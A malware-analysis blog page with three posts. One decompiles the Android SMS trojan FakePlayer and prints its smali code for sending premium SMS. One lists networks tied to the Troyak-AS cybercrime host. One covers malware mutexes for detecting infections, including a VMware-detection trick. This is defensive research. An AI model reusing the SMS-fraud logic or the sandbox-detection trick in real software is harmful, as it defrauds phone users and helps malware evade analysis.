Jaime Blasco Blog : /Malware

Analysis of Trojan-SMS.AndroidOS.FakePlayer.a
Tue, 10 Aug 2010

Trojan-SMS.AndroidOS.FakePlayer.a is one of the first malicious programs detected on Android Smartphones.

The program camouflages itself to look like a media player application and begins sending SMS to premium numbers without the user's knowledge.

To analyze the .APK android file we can use the android-apktool (http://code.google.com/p/android-apktool/) to decode the application resources and study the program behaviour.

Let's start decoding the resources with apktool:

pc201166154132:fakeplayer jaimeblasco$ apktool d RU.apk 
I: Baksmaling...
I: Loading resource table...
I: Decoding resources...
I: Loading resource table from file: /Users/jaimeblasco/apktool/framework/1.apk
I: Copying assets and libs...

Apktool obtains the following files from the APK:

pc201166154132:fakeplayer jaimeblasco$ find ./
./
.//RU
.//RU/AndroidManifest.xml
.//RU/apktool.yml
.//RU/res
.//RU/res/drawable
.//RU/res/drawable/icon.png
.//RU/res/layout
.//RU/res/layout/main.xml
.//RU/res/values
.//RU/res/values/public.xml
.//RU/res/values/strings.xml
.//RU/smali
.//RU/smali/org
.//RU/smali/org/me
.//RU/smali/org/me/androidapplication1
.//RU/smali/org/me/androidapplication1/DataHelper$OpenHelper.smali
.//RU/smali/org/me/androidapplication1/DataHelper.smali
.//RU/smali/org/me/androidapplication1/HelloWorld.smali
.//RU/smali/org/me/androidapplication1/MoviePlayer.smali
.//RU/smali/org/me/androidapplication1/R$attr.smali
.//RU/smali/org/me/androidapplication1/R$drawable.smali
.//RU/smali/org/me/androidapplication1/R$layout.smali
.//RU/smali/org/me/androidapplication1/R$string.smali
.//RU/smali/org/me/androidapplication1/R.smali

If we open the file RU/AndroidManifest.xml we can see that the application request the android permission android.permission.SEND_SMS when it is installed.


?xml version="1.0" encoding="UTF-8"?
manifest package="org.me.androidapplication1"
  xmlns:android="http://schemas.android.com/apk/res/android"
    application android:icon="@drawable/icon"
        activity android:label="Movie Player" android:name=".MoviePlayer"
            intent-filter
                action android:name="android.intent.action.MAIN" 
                category android:name="android.intent.category.LAUNCHER"
            intent-filter
        activity
    application
    uses-permission android:name="android.permission.SEND_SMS"

We observe that the application does some SQLite operations on /RU/smali/org/me/androidapplication1/DataHelper$OpenHelper.smali:


# static fields
.field private static final DATABASE_NAME:Ljava/lang/String; = "movieplayer.db"

.field private static final DATABASE_VERSION:I = 0x1

.field private static final INSERT:Ljava/lang/String; = "insert into table1(was) values (\'was\')"

.field private static final TABLE_NAME:Ljava/lang/String; = "table1"

The interesting operations can be found in RU/smali/org/me/androidapplication1/HelloWorld.smali:

    .line 28
    .local v0, m:Landroid/telephony/SmsManager;
    const-string v1, "3353"

    .line 29
    .local v1, destination:Ljava/lang/String;
    const-string v3, "798657"

    .line 31
    .local v3, text:Ljava/lang/String;
    const/4 v2, 0x0

    const/4 v4, 0x0

    const/4 v5, 0x0

    :try_start_0
    invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    .line 37
    :goto_0
    const-string v1, "3354"

    .line 39
    const/4 v2, 0x0

    const/4 v4, 0x0

    const/4 v5, 0x0

    :try_start_1
    invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
    :try_end_1
    .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1

The application uses the sendTextMessage function from the Android API:

public final void  sendTextMessage  (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)

So, the malicious program tries to send SMS's to destination 798657 using the service center addresses (SMSC) 3353 and 3354.

As we can see, this is a very simple piece of malware and it hasn't got spreading capabilities so the risk is low because it wasn't on Android Market.

posted at: 19:30 | path: /Malware | permanent link to this entry | 1 comments |

Malware: Troyak-AS and Peer activity
Sun, 14 Mar 2010

Last week Troyak-AS has been taken offline. The number of Zeus C&C servers has been decreasing steeply because of the coordinated operation.

Here you can find a list of AS50215 Troyak-as peers that conform the neighborhood of one of the most active cybercrime networks.

I want to share with you some graphs of these peers that shows the malicious activity of some of the AS's involved on this network during Q1 of 2010.

The data has been extracted from one of Alienvault sandnets.

AS-42229 MARIAM-AS PP Mariam	AS-44107 PROMBUDDETAL-AS Prombuddetal LLC	AS-47560 VESTEH-NET-as Vesteh LLC

AS-50369 VISHCLUB-as Kanyovskiy Andriy	AS-5577 ROOT SA	AS-8342 RTCOMM-AS RTComm.RU Autonomous System

posted at: 21:29 | path: /Malware | permanent link to this entry | 3 comments | malware, visualization, Zeus, Botnet

Malware: Exploring mutex objects
Mon, 28 Dec 2009

A mutex, also called a lock is a program object commonly used to avoid simultaneous access to a resource, such a variable.

It's used in concurrent programming to allow multiple program threads to share the same resource.

Mutexs are usually used by malware creators to avoid the infection of a system by different instances of the same malware. When the trojan infects a system, the first step is to obtain a handle to a "named" mutex, if the process fails, then the malware exits.

The easiest way to check for the presence of a Mutex is using the CreateMutex Function

HANDLE WINAPI CreateMutex(
	__in_opt  LPSECURITY_ATTRIBUTES lpMutexAttributes,   
	__in      BOOL bInitialOwner,   __in_opt  LPCTSTR lpName );

This is the same function that malware uses for checking if the system is infected so one approach to detect the presence of a piece of malware is trying to obtain a handle to the created mutex.

Here is a list of some malwares (md5's) and the Mutex created:

60f733d6d0b077e4a668fb49aab44a30, xx464dg433xx16
fb663100308285afb4debdcab8d67fe2, 6E523163793968624
47c6313ec393d0c55d57529e2a9a418d, Security Tool
72631c3c853d706daf1153b3c8fea54f, psec_once
c37f47c9071eed101a67532e5d412171, YMING
cdcd59a5fb80808cad7376c001586c6e, 290541776
6013de3fed84d40bb173ec23f408a67e, mymutsglwork
62a3f867becfea136aea4ec83a4d9c44, 5BB0650C
5f33aa0b5660bc932af969301635d818, XGBPPAQHSE
2e40abf579e4d8d5d1ba7df34d5e507a, _!SHMSFTHISTORY!_

I've uploaded a small piece of code in .NET (console) using PInvoke that takes the name of the mutex to check for.

(Tested on Windows XP SP2 and Windows 7)

Example:

You can use this small application to quickly check if a system is compromised if you know the name of the mutex created by the malware.
In the previous post, we talked about the Windows Kernel Objects as well as the "Object directories".
We learnt how to query a directory using WinDBG and we found that Mutex as well as other kernel objects are present inside directories.
So now I will explain how to query object directories from user land via NtQueryDirectoryObject to list mutexs present in the system.

We will use the functions NtOpenDirectoryObject and NtQueryDirectoryObject

NTSTATUS WINAPI NtOpenDirectoryObject(   
	__out  PHANDLE DirectoryHandle,   
	__in   ACCESS_MASK DesiredAccess,   
	__in   POBJECT_ATTRIBUTES ObjectAttributes );

NTSTATUS WINAPI NtQueryDirectoryObject(
	   __in       HANDLE DirectoryHandle,   
	   __out_opt  PVOID Buffer,   
	   __in       ULONG Length,   
	   __in       BOOLEAN ReturnSingleEntry,  
	   __in       BOOLEAN RestartScan,   
	   __inout    PULONG Context,   
	   __out_opt  PULONG ReturnLength );

So the best approach to enumerate the Mutex objects is to traverse all the directories beginning with the root directory (""\\"") and check for "Mutex objects" inside the directory.
We have to take into account that a directory may contains another directory so we have to traverse all of them.

Here is another piece of code to enumerate all the mutex present in the system:

(Tested on Windows XP SP2 and Windows 7)

Example:

Remember that Windows Objects belongs to a namespace and each user session has a different namespace so you will retrieve different results from different user sessions.

I was looking at some mutex results an then I found these:

0x16F:Mutant                   VMwareGuestDnDDataMutex
0x170:Mutant                   VMwareGuestCopyPasteMutex

I think is another interesting trick to detect the presence of a system running inside Vmware.
Searching the Internet I found this report from ThreatExpert about a malware called W32.Neshuta that creates exactly the previous two mutexs.
So the question is if the malware checks for the presence of Vmware with this technique (I bet you a beer) or it uses the same mutants to hide and deceive computer users.

posted at: 19:59 | path: /Malware | permanent link to this entry | 2 comments |